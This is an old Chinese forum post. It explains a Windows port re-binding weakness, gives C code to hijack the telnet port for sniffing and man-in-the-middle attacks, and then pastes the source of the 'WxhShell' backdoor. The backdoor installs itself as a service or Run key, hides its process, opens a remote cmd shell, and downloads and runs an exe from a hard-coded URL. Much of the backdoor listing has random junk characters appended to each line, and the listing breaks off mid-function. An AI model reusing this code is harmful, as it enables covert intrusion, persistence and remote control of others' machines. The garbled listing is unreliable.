[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; *mTx0sQz(J
if(chr[0]==0xd || chr[0]==0xa) { 1Wy0#?L
pwd=0; N)N\iad^
break; y:+4-1
} f*&4d
i++; MW$ X4<*KD
} UgjY
d1=fA%pJ
// 如果是非法用户，关闭 socket WwBs_OMc
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z~y=(T
} -OPJB:7Z
hd)HJb-aR
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L! DK2,
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tj=l!
wYIlp
while(1) { {e'V^l.v
YdNmnB%J
ZeroMemory(cmd,KEY_BUFF); |Xv]s61
$m)[> C
// 自动支持客户端 telnet标准 TDo!yQ
j=0; oUG!=.1}K5
while(j<KEY_BUFF) { K:\db'``
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (np60mX<
cmd[j]=chr[0]; % A8dO+W
if(chr[0]==0xa || chr[0]==0xd) { /3ty*LQT
cmd[j]=0; B6gn(w3
break; !w}cKm
} l'0fRQc
j++; YD|;xuh
} Nn]|#lLP
#)hJ.0~3
// 下载文件 Bp>Z?"hTe
if(strstr(cmd,"http://")) { (viGL|Ogn
send(wsh,msg_ws_down,strlen(msg_ws_down),0); #2\ 0#HN
if(DownloadFile(cmd,wsh)) xpjv@P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aHdXlmL
else 3(n+5~{e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <1(j&U
} uiQRRT
else { y-i6StJ
"{F e
switch(cmd[0]) { "fTW2D74
,8^QV3
// 帮助 ym~
case '?': { f7_EqS=(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E+$%88
break; Td"_To@jd
} "cVJqW
// 安装 K~DQUmU@
case 'i': { ] 3UlF'{
if(Install()) AYnk.H-v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -cqR]'u
else 9p{7x[C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r{pbUk
break; *t3uj
} &W@#pG
// 卸载 WMw^zq?hd@
case 'r': { 48 n5Y~YS
if(Uninstall()) gcKXda(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >.X& v
else ?\7$63gBH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !:<(p
break; )J<VDO:_YA
} V+'C71-P
// 显示 wxhshell 所在路径 DN%b!K:
case 'p': { pni*#W*n
char svExeFile[MAX_PATH]; @W+m;4HH
strcpy(svExeFile,"\n\r"); oFC]L1HN&
strcat(svExeFile,ExeFile); :,'yHVG\
send(wsh,svExeFile,strlen(svExeFile),0); H;.${u^lhd
break; n 9X:s?B/
} Op2@En|d
// 重启 #5b}"xK{
case 'b': { ZS\~GQbG
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V^[B=|56
if(Boot(REBOOT)) Q]v><
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n |e=7?H8
else { +8#hi5e
closesocket(wsh); zOfMKrRG
ExitThread(0); H0P:t(<Gt
} 7)Y0D@wg
break; aR0'$*3E
} M8p6f)l3
// 关机 Y;dQLZCC
case 'd': { eF%>5
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cFF'ygJ/
if(Boot(SHUTDOWN)) BV@xE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ={]tklND
else { []I_r=
closesocket(wsh); {^jk_G\ys
ExitThread(0); lI*uF~ 'D
} W8><
break; CL)*cu6zG
} N" =$S|Gs
// 获取shell 9-( \\$%
case 's': { BdQ/kXZu+
CmdShell(wsh); }F<=
closesocket(wsh); B65"jy
ExitThread(0); k`u.:C&
break; ObyF~j}j
} ["65\GI?
// 退出 DbIn3/WNe
case 'x': { '] $mt
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5dXDL~/2p
CloseIt(wsh); j :$Ruy
break; 4!k0
} li7"{+ct
// 离开 L7rH=gZ&!]
case 'q': { l =Is-N`
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Mr6q7
closesocket(wsh); l?Qbwv}
WSACleanup(); HV}*}Ty
exit(1); OB5t+_s
break; GJo`9
} oT}-i [=}
} wk[4Qsk<
} W0qn$H
>5c38D7k)
// 提示信息 jM'(Qa
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kmZ U;Z
} vZJu=t
} I/`\>Hk
*ud/'HR8]
return; t8_i[Hw6D
} 3Q\k!$zq
*Al`QEW
// shell模块句柄 Q@aDa8Z
int CmdShell(SOCKET sock) :|TQi9L$rj
{ \{K~x@`
STARTUPINFO si; ^9`S`Bhp
ZeroMemory(&si,sizeof(si)); 9tBE=L=
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (D~NW*,9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]~d!<x#+
PROCESS_INFORMATION ProcessInfo; RJa1pYK
char cmdline[]="cmd"; qw35LyL
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); tuIQiWHbM
return 0; <#>{7" }
} %Xjg/5G-
;/s##7qf
// 自身启动模式 &wea]./B
int StartFromService(void) Q35jJQ$<`
{ #y>q)Ph
typedef struct $dkkgsw7
{ ^w6~?'}
DWORD ExitStatus; GEbm$\
DWORD PebBaseAddress; s.j6" Q[W
DWORD AffinityMask; ywkyxt
DWORD BasePriority; %XiF7<A&
ULONG UniqueProcessId; /Ps5Og
ULONG InheritedFromUniqueProcessId; RQQ\y`h`
} PROCESS_BASIC_INFORMATION; hreG5g9{
>yr1wVS
PROCNTQSIP NtQueryInformationProcess; < s1
k+;XQEH
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P&.-c _
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U{?#W
ibL
HANDLE hProcess; ?f&O4H
PROCESS_BASIC_INFORMATION pbi; gv}J"anD
}Jm~b9j
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D\-D~G]x
if(NULL == hInst ) return 0; >#EOCo
['JIMcD
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c6~<vV'}
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i/{`rv*K[
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w6<zPrA
F$nc9x[S
if (!NtQueryInformationProcess) return 0; @0&KM|+
Ro:)N:C
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vH)V\V
if(!hProcess) return 0; u1) #^?
uB>OS1=
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6X[Mn2wYW
rGUu K0L&
CloseHandle(hProcess); pZV=Co3!I
|@Sj:^cJD
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l0nm>ps'D
if(hProcess==NULL) return 0; _,bDv`>Ra
C<yjGtVD
HMODULE hMod; G^&P'*
char procName[255]; X|Rw;FY
unsigned long cbNeeded; ;q&2$Mb
kH">(f
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -&QTy
pWOK~=t
CloseHandle(hProcess); ;:Q&Rf"@%
(Y:?qy
if(strstr(procName,"services")) return 1; // 以服务启动 W+`T:Mgh
$c1xh.
return 0; // 注册表启动 =.\PG[
} ?*dt JL
ck\TTNA
// 主模块 `g^bQx
int StartWxhshell(LPSTR lpCmdLine) -APbN(Vi
{ :O/QgGZN$
SOCKET wsl; R}T\<6Y
BOOL val=TRUE; X6G2$|
int port=0; }[b3$WZ
struct sockaddr_in door; 'v0(ki#
7(plHW|
if(wscfg.ws_autoins) Install(); i(an]%'v
QUKv :;
port=atoi(lpCmdLine); }2.0e5[
9six]T
if(port<=0) port=wscfg.ws_port; J|.n bSE
qj1Fj
WSADATA data; 1dl(`=^X
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aU?HIIA
v&r\Z @%
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Yc2dq e>
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0}qnq"
door.sin_family = AF_INET; a2SXg A
door.sin_addr.s_addr = inet_addr("127.0.0.1"); :]uz0s`>
door.sin_port = htons(port); RI&V:1
K %.>o
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XkEE55#>|
closesocket(wsl); jSdW?IH
return 1; 3F?_{A
} !~fy".|x
6YF<GF{
if(listen(wsl,2) == INVALID_SOCKET) { nl+8C}=u
closesocket(wsl); ,KFF[z
return 1; <RJ+f-
} l dw!G/
Wxhshell(wsl); sM6o(=>
WSACleanup(); h%8C_mA
o@uZU4MM
return 0; n0%5mTUN
X1FKcWv
} wuKr9W9Xa
> K s.
// 以NT服务方式启动 b:(t22m#?
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %6cbHH
{ ES ?6
DWORD status = 0; bsdT>|gW
DWORD specificError = 0xfffffff; G0b##-.'^
,iMdv+
serviceStatus.dwServiceType = SERVICE_WIN32; p@[n(?duC.
serviceStatus.dwCurrentState = SERVICE_START_PENDING; +Y"HbNz
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ra}t#Xt`
serviceStatus.dwWin32ExitCode = 0; Q=h37]U+
serviceStatus.dwServiceSpecificExitCode = 0; Rgb&EnVW
serviceStatus.dwCheckPoint = 0; =i:,")W7=
serviceStatus.dwWaitHint = 0; {ug*
-7(,*1Tk
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d:JP935
if (hServiceStatusHandle==0) return; wj 15Og?
m_h$fT8 _
status = GetLastError(); Wiere0 2*
if (status!=NO_ERROR) }S 6h1X
{ PasVfC@
serviceStatus.dwCurrentState = SERVICE_STOPPED; C"R}_C|r)*
serviceStatus.dwCheckPoint = 0; &x)nK
serviceStatus.dwWaitHint = 0; >9,:i)m_
serviceStatus.dwWin32ExitCode = status; K8{ef
serviceStatus.dwServiceSpecificExitCode = specificError; ui<Mnm_T;d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y1#*c$ O
return; sGO+O$J
} >oL| nwn
VU;98
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5`Y>!| Ab
serviceStatus.dwCheckPoint = 0; 46gDoSS
serviceStatus.dwWaitHint = 0; u-@;Q<v$
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NS){D7T
} z C7b
7}puj%JS /
// 处理NT服务事件，比如：启动、停止 tu6<>
VOID WINAPI NTServiceHandler(DWORD fdwControl) <6.?:Jj
{ 4P}d/w?'KL
switch(fdwControl) y/;DA=
{ dZuPR
case SERVICE_CONTROL_STOP: "1%\Fil
serviceStatus.dwWin32ExitCode = 0; }%`f%/
serviceStatus.dwCurrentState = SERVICE_STOPPED; V?"1&m&E
serviceStatus.dwCheckPoint = 0; TTD#ovo'
serviceStatus.dwWaitHint = 0; w}0rDWuR[
{ @YbZ"Jb
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _V(FHjY
} zuI7Px
return; 3 EOuJ
case SERVICE_CONTROL_PAUSE: FZtT2Z4&i
serviceStatus.dwCurrentState = SERVICE_PAUSED; L b-xc]
break; wo9`-o6
case SERVICE_CONTROL_CONTINUE: S~U5xM^s
serviceStatus.dwCurrentState = SERVICE_RUNNING; OlX#1W]
break; TUq ,
case SERVICE_CONTROL_INTERROGATE: e, }{$HStZ
break; d#|%h] 6
}; qAi:F=> X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4"#F=f0
} z?WkHQ9
\|6Q]3l
// 标准应用程序主函数 K6stkDhb
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h>ZU67-
{ =\)76xC20
L~*nI d
// 获取操作系统版本 XwDt8TxL
OsIsNt=GetOsVer(); 8@r>`c
GetModuleFileName(NULL,ExeFile,MAX_PATH); !im%t9
wU-Cb<^
// 从命令行安装 `a5,5}7v%`
if(strpbrk(lpCmdLine,"iI")) Install(); ]0=THq\H
=yZ6$ hK
// 下载执行文件 y=zs6HaS
if(wscfg.ws_downexe) { "qoJIwl#q
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <`Qbb=*
WinExec(wscfg.ws_filenam,SW_HIDE); aB{OXU}#
} 3j2d&*0
Ls'8
if(!OsIsNt) { R'qBG(?i
// 如果时win9x，隐藏进程并且设置为注册表启动 #rQT)n
HideProc(); \jr-^n]
